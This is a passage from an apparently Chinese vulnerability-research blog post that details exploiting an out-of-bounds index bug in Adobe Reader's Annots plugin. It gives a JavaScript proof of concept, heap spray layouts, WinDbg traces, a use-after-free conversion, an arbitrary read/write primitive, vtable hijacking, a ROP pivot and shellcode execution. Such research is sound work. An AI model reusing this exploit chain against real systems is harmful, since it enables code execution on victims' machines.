为-1 时，由于数组本身为空，因此 resize 函数中传入的 index 为 0，而 Array_Num 也为 0，因此直接返回了 0 作为实际的数组大小：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #383a42;background: #fafafa;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">//执行完resize之后，此时ecx为this，即array的指针，eax为返回的resize后数组对象的个数<br/>0:000&gt; dd ecx L4                 //array中为空<br/>08d615b8  00000000 00000000 00000000 00000000<br/>0:000&gt; p<br/>eax=00000000 ebx=07074508 ecx=00000000 edx=00000000 esi=08d7b840 edi=08d615b8<br/>eip=6e873049 esp=0034bfc0 ebp=0034c008 iopl=0         nv up ei pl zr na pe nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246<br/>Annots!PlugInMain+0x15219:<br/>6e873049 8b07            mov     eax,dword ptr [edi]  ds:002b:08d615b8=00000000  //获取array的起始地址<br/>0:000&gt; p<br/>eax=00000000 ebx=07074508 ecx=00000000 edx=00000000 esi=08d7b840 edi=08d615b8<br/>eip=6e87304b esp=0034bfc0 ebp=0034c008 iopl=0         nv up ei pl zr na pe nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246<br/>Annots!PlugInMain+0x1521b:<br/>6e87304b 8b4dd4          mov     ecx,dword ptr [ebp-2Ch] ss:002b:0034bfdc=ffffffff //获取index<br/>0:000&gt;<br/>eax=00000000 ebx=07074508 ecx=ffffffff edx=00000000 esi=08d7b840 edi=08d615b8<br/>eip=6e87304e esp=0034bfc0 ebp=0034c008 iopl=0         nv up ei pl zr na pe nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246<br/>Annots!PlugInMain+0x1521e:<br/>6e87304e eb03            jmp     Annots!PlugInMain+0x15223 (6e873053)<br/>0:000&gt; p<br/>eax=00000000 ebx=07074508 ecx=ffffffff edx=00000000 esi=08d7b840 edi=08d615b8<br/>eip=6e873053 esp=0034bfc0 ebp=0034c008 iopl=0         nv up ei pl zr na pe nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246<br/>Annots!PlugInMain+0x15223:<br/>6e873053 6bc930          imul    ecx,ecx,30h         //计算当前下标对象距离array起始地址的大小，index*0x30<br/>0:000&gt;<br/>eax=00000000 ebx=07074508 ecx=ffffffd0 edx=00000000 esi=08d7b840 edi=08d615b8 //然而当前index乘0x30后得到0xffffffd0，是个错误的大小<br/>eip=6e873056 esp=0034bfc0 ebp=0034c008 iopl=0         nv up ei ng nz na po nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200282<br/>Annots!PlugInMain+0x15226:<br/>6e873056 83c618          add     esi,18h<br/>0:000&gt;<br/>eax=00000000 ebx=07074508 ecx=ffffffd0 edx=00000000 esi=08d7b858 edi=08d615b8<br/>eip=6e873059 esp=0034bfc0 ebp=0034c008 iopl=0         nv up ei pl nz na po nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202<br/>Annots!PlugInMain+0x15229:<br/>6e873059 56              push    esi<br/>0:000&gt;<br/>eax=00000000 ebx=07074508 ecx=ffffffd0 edx=00000000 esi=08d7b858 edi=08d615b8<br/>eip=6e87305a esp=0034bfbc ebp=0034c008 iopl=0         nv up ei pl nz na po nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202<br/>Annots!PlugInMain+0x1522a:<br/>6e87305a 03c8            add     ecx,eax           //将array的起始地址加上当前下标对象距离，得到当前下标                      对象的地址，由于取到错误的大小导致拿到了错误的值<br/>0:000&gt;<br/>eax=00000000 ebx=07074508 ecx=ffffffd0 edx=00000000 esi=08d7b858 edi=08d615b8<br/>eip=6e87305c esp=0034bfbc ebp=0034c008 iopl=0         nv up ei ng nz na po nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200282<br/>Annots!PlugInMain+0x1522c:<br/>6e87305c e83907ffff      call    Annots!PlugInMain+0x596a (6e86379a)   //调用该函数进行类型转换，传入了错误了对象地址<br/>0:000&gt;<br/>(f00.92c): Access violation - code c0000005 (first chance)<br/>First chance exceptions are reported before any exception handling.<br/>This exception may be expected and handled.<br/>eax=70f6f258 ebx=ffffffd0 ecx=ffffffd0 edx=00000000 esi=00000000 edi=ffffffd0<br/>eip=6e863a2d esp=0034bf5c ebp=0034bf84 iopl=0         nv up ei pl nz na po nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202<br/>Annots!PlugInMain+0x5bfd:<br/>6e863a2d 833f01          cmp     dword ptr [edi],1    ds:002b:ffffffd0=???????? //函数内部在获取当前下标对象时出现了访问异常<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">最终在执行类型转换函数时获取当前下标对象的地址：*this + index * 0x30 时，获取到了错误的值 0xffffffd0 造成了访问异常。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>漏洞利用</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">导致崩溃的原因是因为 Annotation 对象的 points 属性为空，导致获取目标 index 对象时直接访问了 index * 0x30 的地址。因此修改 POC 如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #383a42;background: #fafafa;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">var _annot = this.addAnnot({page:0, <span style="color: #c18401;line-height: 26px;">type</span>:<span style="color: #50a14f;line-height: 26px;">&#34;Line&#34;</span>});<br/>var _obj = {};<br/>_obj[2] = 2;<br/>_annot.points = _obj;<br/>_obj[-1] = null;<br/>_annot.points = _obj;<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">下断于 resize 函数，可以看到此时 Array 不再为空，大小为 0x90：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #383a42;background: #fafafa;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">0:000&gt; pc<br/>eax=00000000 ebx=070616a8 ecx=070d6288 edx=00000000 esi=0706cf38 edi=070d6288<br/>eip=70803044 esp=002fbbe8 ebp=002fbc38 iopl=0         nv up ei pl nz ac po cy<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000213<br/>Annots!PlugInMain+0x15214:<br/>70803044 e83ecc0300      call    Annots!PlugInMain+0x51e57 (7083fc87)  //resize函数<br/>0:000&gt; dd ecx l4        //Array _obj<br/>070d6288  0700d8a0 0700d930 0700d930 00000000<br/>0:000&gt; ? 0700d930 - 0700d8a0      //Array Size = 0x90<br/>Evaluate expression: 144 = 00000090<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">随后继续执行到类型转换函数，在获取当前下标对象的地址时，由于 array 不为空能够直接获取到 array 的起始地址，最终获取的结果正好为_obj[-1]，造成了内存越界访问：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #383a42;background: #fafafa;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">0:000&gt; P<br/>eax=002fbb78 ebx=070616a8 ecx=ea9f14a7 edx=0000000b esi=0706cf38 edi=070d6288<br/>eip=70803049 esp=002fbbf0 ebp=002fbc38 iopl=0         nv up ei pl nz ac pe nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216<br/>Annots!PlugInMain+0x15219:<br/>70803049 8b07            mov     eax,dword ptr [edi]  ds:002b:070d6288=0700d8a0   //获取array的起始地址，此时不为0<br/>0:000&gt; p<br/>eax=0700d8a0 ebx=070616a8 ecx=ea9f14a7 edx=0000000b esi=0706cf38 edi=070d6288<br/>eip=7080304b esp=002fbbf0 ebp=002fbc38 iopl=0         nv up ei pl nz ac pe nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216<br/>Annots!PlugInMain+0x1521b:<br/>7080304b 8b4dd4          mov     ecx,dword ptr [ebp-2Ch] ss:002b:002fbc0c=ffffffff  //获取index<br/>0:000&gt; p<br/>eax=0700d8a0 ebx=070616a8 ecx=ffffffff edx=0000000b esi=0706cf38 edi=070d6288<br/>eip=7080304e esp=002fbbf0 ebp=002fbc38 iopl=0         nv up ei pl nz ac pe nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216<br/>Annots!PlugInMain+0x1521e:<br/>7080304e eb03            jmp     Annots!PlugInMain+0x15223 (70803053)<br/>0:000&gt; p<br/>eax=0700d8a0 ebx=070616a8 ecx=ffffffff edx=0000000b esi=0706cf38 edi=070d6288<br/>eip=70803053 esp=002fbbf0 ebp=002fbc38 iopl=0         nv up ei pl nz ac pe nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216<br/>Annots!PlugInMain+0x15223:<br/>70803053 6bc930          imul    ecx,ecx,30h      //计算当前下标对象距离array起始地址的大小，index*0x30<br/>0:000&gt; p<br/>eax=0700d8a0 ebx=070616a8 ecx=ffffffd0 edx=0000000b esi=0706cf38 edi=070d6288<br/>eip=70803056 esp=002fbbf0 ebp=002fbc38 iopl=0         nv up ei ng nz na po nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282<br/>Annots!PlugInMain+0x15226:<br/>70803056 83c618          add     esi,18h<br/>0:000&gt; p<br/>eax=0700d8a0 ebx=070616a8 ecx=ffffffd0 edx=0000000b esi=0706cf50 edi=070d6288<br/>eip=70803059 esp=002fbbf0 ebp=002fbc38 iopl=0         nv up ei pl nz ac pe nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216<br/>Annots!PlugInMain+0x15229:<br/>70803059 56              push    esi<br/>0:000&gt; p<br/>eax=0700d8a0 ebx=070616a8 ecx=ffffffd0 edx=0000000b esi=0706cf50 edi=070d6288<br/>eip=7080305a esp=002fbbec ebp=002fbc38 iopl=0         nv up ei pl nz ac pe nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216<br/>Annots!PlugInMain+0x1522a:<br/>7080305a 03c8            add     ecx,eax       //获取当前下标对象的地址为_obj[-1]，即*this - 0x30<br/>0:000&gt;<br/>eax=0700d8a0 ebx=070616a8 ecx=0700d870 edx=0000000b esi=0706cf50 edi=070d6288<br/>eip=7080305c esp=002fbbec ebp=002fbc38 iopl=0         nv up ei pl nz na po cy<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000203<br/>Annots!PlugInMain+0x1522c:<br/>7080305c e83907ffff      call    Annots!PlugInMain+0x596a (707f379a) //类型转换函数<br/>0:000&gt; dd ecx L30<br/>//_obj[-1]，该块内存为越界读访问的内容<br/>0700d870  00000000 00000000 00000000 00000000<br/>0700d880  00010000 00000000 00010000 7217beb0<br/>0700d890  0704eea8 80000000 0b758404 88007010<br/>//_obj[0]<br/>0700d8a0  00000000 0055005c 00000000 00000000<br/>0700d8b0  0041005c 006d0064 006e0069 00730069<br/>0700d8c0  00720074 00740061 00000000 0041005c<br/>//_obj[1]<br/>0700d8d0  00000000 00610044 00000000 00000000<br/>0700d8e0  0061006f 0069006d 0067006e 0041005c<br/>0700d8f0  006f0064 00650062 00000000 00720063<br/>//_obj[2]<br/>0700d900  00000000 00740061 00000000 40000000<br/>0700d910  004d0054 006f0044 00730063 0073002e<br/>0700d920  00760061 00760000 00000000 00000000<br/></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>内存越界访问转化为 UAF</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">只是内存越界访问无法利用，然而在类型转换函数<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sub_2212379A</code>中会根据*this 的不同调用不同的转换函数：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.31772053083528495" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1281" src="https://wechat2rss.xlab.app/img-proxy/?k=15ca033c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4XEztA830PFgtIOS0KzetXJibwzDgFpQGF7G3VlbwjyQlAEPUHqjgL6f3RprQLicbwoubh1GKL5fPQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">分析这些转换函数后发现*this=0x1a 时执行的函数内调用 free 函数释放了位于*(this+8)的内存：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.31091370558375636" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="788" src="https://wechat2rss.xlab.app/img-proxy/?k=358ab2bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4XEztA830PFgtIOS0KzetXb8wpbhDumNkM7nGZDRJXtXibGrsKMX3J9YhXejSgGEMpPa8D970UgMw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接下来的利用思路就是将内存越界访问转化为 UAF，具体的步骤如下：</p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过堆喷大小为 0x1ffd 的 Array 对象占位稳定的内存地址 0x20000048，使得后续漏洞触发释放该块内存</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">再次堆喷大小为 0x10 大小的 Array 对象布局内存，使得漏洞触发时*this=0x1a，*(this+8) = 0x20000048，漏洞触发后内存地址被释放</section></li></ol><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">主要的难点在于如何构造 0x10 大小的 Array 对象布局内存，上面的分析可以得出 obj 对象占用的内存大小为 0x90。因此只需要堆喷 0x90 大小的对象，并制造内存空洞，就可以让_obj 对象精确的位于两个精心构造的内存之间：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #383a42;background: #fafafa;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">0x00  -&gt;  +---------------------+<br/>          |        Array        |<br/>0x90  -&gt;  +---------------------+<br/>          |        free         | &lt;---- _obj<br/>0x120 -&gt;  +---------------------+<br/>          |        Array        |<br/>0x1b0 -&gt;  +---------------------+<br/>          |        free         |<br/>0x240 -&gt;  +---------------------+<br/>          |        Array        |<br/>0x2d0 -&gt;  +---------------------+<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">因此需要堆喷的 0x10 大小的 Array 对象内存布局如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #383a42;background: #fafafa;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">js:<br/>fakelement = new Array(0x10);<br/>fakelement[11] = 0x1a;<br/>fakelement[12] = 0x20000048;<br/>0:000&gt; dd 07e21608 L26<br/>//fakelement_01<br/>07e21608  00000000 0000000d 00000010 00000010<br/>07e21618  00000000 ffffff84 00000000 ffffff84<br/>07e21628  00000000 ffffff84 00000000 ffffff84<br/>07e21638  00000000 ffffff84 00000000 ffffff84<br/>07e21648  00000000 ffffff84 00000000 ffffff84<br/>07e21658  00000000 ffffff84 00000000 ffffff84<br/>07e21668  00000000 ffffff84 0000001a ffffff81<br/>07e21678  20000048 ffffff81 00000000 00000000<br/>07e21688  00000000 00000000 00000000 00000000<br/>07e21698  62334f4b 88000000<br/>//fakelement_02<br/>0:000&gt; dd 07e216a0  L26<br/>07e216a0  00000000 0000000d 00000010 00000010<br/>07e216b0  00000000 ffffff84 00000000 ffffff84<br/>07e216c0  00000000 ffffff84 00000000 ffffff84<br/>07e216d0  00000000 ffffff84 00000000 ffffff84<br/>07e216e0  00000000 ffffff84 00000000 ffffff84<br/>07e216f0  00000000 ffffff84 00000000 ffffff84<br/>07e21700  00000000 ffffff84 0000001a ffffff81<br/>07e21710  20000048 ffffff81 00000000 00000000<br/>07e21720  00000000 00000000 00000000 00000000<br/>07e21730  62334f7e 88000000<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">从相邻的 Array 对象内存布局可以看出每个 Array 对象以 8 个字节的数据隔开，因此当_obj 占位于被释放的 Array 对象时，_obj[-1]正好访问的是上一个 Array 对象的 0x1a：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #383a42;background: #fafafa;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">0:000&gt; dd 06e19250 - 0x30 L30<br/>//_obj[-1]<br/>06e19220  0000001a ffffff81 20000048 ffffff81<br/>06e19230  00000000 00000000 00000000 00000000<br/>06e19240  00000000 00000000 2922eb66 88000000<br/>//_obj[0]<br/>06e19250  00000000 0000000d 00000000 00000000<br/>06e19260  00000000 ffffff84 00000000 ffffff84<br/>06e19270  00000000 ffffff84 00000000 ffffff84<br/>06e19280  00000000 ffffff84 00000000 00000000<br/>06e19290  00000000 ffffff84 00000000 ffffff84<br/>06e192a0  00000000 ffffff84 00000000 ffffff84<br/>06e192b0  00000000 ffffff84 00000000 40000000<br/>06e192c0  20000048 ffffff81 00000000 00000000<br/>06e192d0  00000000 00000000 00000000 00000000<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接着执行类型转换的函数可以看到当前 this 指针正好指向_obj[-1]，下断在 free 函数，传入的参数正是 0x20000048：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #383a42;background: #fafafa;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">0:000&gt; g<br/>Breakpoint 1 hit<br/>eax=0015c0d4 ebx=06e19220 ecx=06e19220 edx=06e19220 esi=00000000 edi=06e19220<br/>eip=705e89d1 esp=0015c0c4 ebp=0015c0f4 iopl=0         nv up ei pl nz na pe nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206<br/>Annots!PlugInMain+0xaba1:<br/>705e89d1 55              push    ebp<br/>0:000&gt; dd ecx Lc<br/>06e19220  0000001a ffffff81 20000048 ffffff81<br/>06e19230  00000000 00000000 00000000 00000000<br/>06e19240  00000000 00000000 2922eb66 88000000<br/>0:000&gt; g<br/>eax=20000048 ebx=06e19220 ecx=06e19220 edx=0000001a esi=00000000 edi=0015c0d4<br/>eip=7436f7e0 esp=0015bf8c ebp=0015bf94 iopl=0         nv up ei pl nz na pe nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206<br/>ucrtbase!free:<br/>7436f7e0 8bff            mov     edi,edi<br/>0:000&gt; dps esp L2<br/>0015bf8c  705dd041 Annots+0x1d041<br/>0015bf90  20000048  //free的内存地址<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">到这一步，漏洞已经从越界内存访问转变为了 UAF，剩下的就是利用释放的内存构造读写原语了。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>任意内存读写原语的构造</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">目前已经有一个被释放的 0x1ffe 大小的 Array 对象，因此用 0xffe8 大小的 ArrayBuffer 对象占位同一块内存。由于 Array 对象和 ArrayBuffer 对象表示长度属性的内存在同一位置，这样就导致了 Array 对象的长度被扩展为 0xffe8，因此能够越界读写下一个临近 Array 对象的 length 值了：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #383a42;background: #fafafa;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">0:000&gt; dd 20000048 L10  //Array对象初始长度为0x1ffd<br/>20000048  00000000 00001ffd 00001ffd 00001ffd<br/>20000058  00000000 ffffff81 00000000 ffffff81<br/>20000068  00000000 ffffff81 00000000 ffffff81<br/>20000078  00000000 ffffff81 00000000 ffffff81<br/>0:000&gt; dd 20000048 L10  //内存占用后长度为0xffe8<br/>20000048  00000000 0000ffe8 07631450 00000000<br/>20000058  41414141 ffffff81 00000000 00000000<br/>20000068  00000000 00000000 00000000 00000000<br/>20000078  00000000 00000000 00000000 00000000<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">但是 Array 对象读写内存的能力不如 ArrayBuffer，于是释放掉下一个临近的 Array 对象，并用 ArrayBuffer 对象占用内存，随后利用越界读写的 Array 对象修改 ArrayBuffer 对象的长度为 0xffffff81：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #383a42;background: #fafafa;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">0:018&gt; dd 20000048+0x10000 L10<br/>20010048  00000000 ffffff81 091910e0 00000000<br/>20010058  41414141 ffffff81 00000000 00000000<br/>20010068  00000000 00000000 00000000 00000000<br/>20010078  00000000 00000000 00000000 00000000<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">至此就获得了长度为 0xffffff81 的任意地址读写原语，不过该 ArrayBuffer 的起始地址为 0x20010058，如果需要读写起始地址之前的数据，则必须将目的地址 + 0xffffffff + 1，得到的值再通过读写原语进行读写就可以成功写入了。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>代码执行</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">有了任意内存读写原语后，接下来就可以获取函数地址构造 ROP 链了。构造好后需要劫持对象的虚表实现，步骤如下：</p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">获取任意内存读写原语的虚表地址</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">修改虚表地址为 ROP 指令，进行栈置换</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">修改 shellcode 内存属性为可读可写可执行</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">跳转到 shellcode 执行，完成利用</section></li></ol><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">读写原语的虚表地址可以通过对象头的信息获取：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #383a42;background: #fafafa;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">0:014&gt; dd 20010048 L10<br/>20010048  00000000 ffffff81 076910e0 00000000<br/>20010058  41414141 ffffff81 00000000 00000000<br/>20010068  00000000 00000000 00000000 00000000<br/>20010078  00000000 00000000 00000000 00000000<br/>0:014&gt; dps 076910e0 L4<br/>076910e0  07627448<br/>076910e4  07625ac0<br/>076910e8  00000000<br/>076910ec  674d9540 EScript!double_conversion::DoubleToStringConverter::kBase10MaximalLength+0xae630<br/>0:014&gt; dps 07627448 L4<br/>07627448  0763f628<br/>0762744c  00000004<br/>07627450  3affffff<br/>07627454  00000040<br/>0:014&gt; dps 0763f628 L4<br/>0763f628  674d45e8 EScript!double_conversion::DoubleToStringConverter::kBase10MaximalLength+0xa96d8<br/>0763f62c  07628090<br/>0763f630  00000000<br/>0763f634  06893c18<br/>0:014&gt; dps 674d45e8 L8 //读写原语虚表<br/>674d45e8  67429e18 EScript!double_conversion::DoubleToStringConverter::ToPrecision+0x3a0a8<br/>674d45ec  9c000521<br/>674d45f0  6727ad70 EScript!mozilla::HashBytes+0x9020<br/>674d45f4  67363bb0 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x9b870<br/>674d45f8  6727ad70 EScript!mozilla::HashBytes+0x9020 //只需要修改该处的地址为ROP指令地址，即可实现虚表劫持<br/>674d45fc  6727ad70 EScript!mozilla::HashBytes+0x9020<br/>674d4600  6727ad70 EScript!mozilla::HashBytes+0x9020<br/>674d4604  6727ad70 EScript!mozilla::HashBytes+0x9020<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">ROP 指令则可以选择 EScript+0x10539d 处的指令，将栈地址迁移到 0x5d000001。只需要在 0x5d000001 处填写好 VirtualProtect 的函数地址和对应的参数即可修改 shellcode 的内存属性为可执行，并跳转到 shellcode 执行：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #383a42;background: #fafafa;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">0:013&gt; g<br/>Breakpoint 0 hit<br/>eax=06d54ea0 ebx=00000000 ecx=6712539d edx=6712539d esi=0034c4c0 edi=06dfe0e8<br/>eip=6712539d esp=0034c3f8 ebp=0034c488 iopl=0         nv up ei pl nz ac pe nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216<br/>EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x9d05d:<br/>6712539d bc0100005d      mov     esp,5D000001h<br/>0:000&gt; p<br/>eax=06d54ea0 ebx=00000000 ecx=6712539d edx=6712539d esi=0034c4c0 edi=06dfe0e8<br/>eip=671253a2 esp=5d000001 ebp=0034c488 iopl=0         nv up ei pl nz ac pe nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216<br/>EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x9d062:<br/>671253a2 c3              ret<br/>0:000&gt; dps esp L6<br/>5d000001  75bd435f kernel32!VirtualProtect<br/>5d000005  20010070 //shellcode<br/>5d000009  20010058<br/>5d00000d  00000700<br/>5d000011  00000040<br/>5d000015  2001006c<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">不过在执行 shellcode 时发现普通的 shellcode 调用 WinExec 会执行失败，调试后发现执行到 ZwCreateUserProcess 时参数内有堆喷的垃圾数据，怀疑因为这些数据导致执行失败，更换 shellcode 为 syscall 执行 ZwCreateUserProcess 后成功调用。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">该代码执行方式无法绕过 CFG，最终在 Windows7 上完成了漏洞利用：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.530257639304973" style="display: block;margin-right: auto;margin-left: auto;" data-type="gif" data-w="1669" src="https://wechat2rss.xlab.app/img-proxy/?k=3bb0bfa6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3pMKYkVJQD4XEztA830PFgtIOS0KzetXA1GvzwAUJsdNbZViaibiaBJyS8F3zOwXQ3ezMkxvfIgespxWWWOJjicESg%2F640%3Fwx_fmt%3Dgif"/></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>总结</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 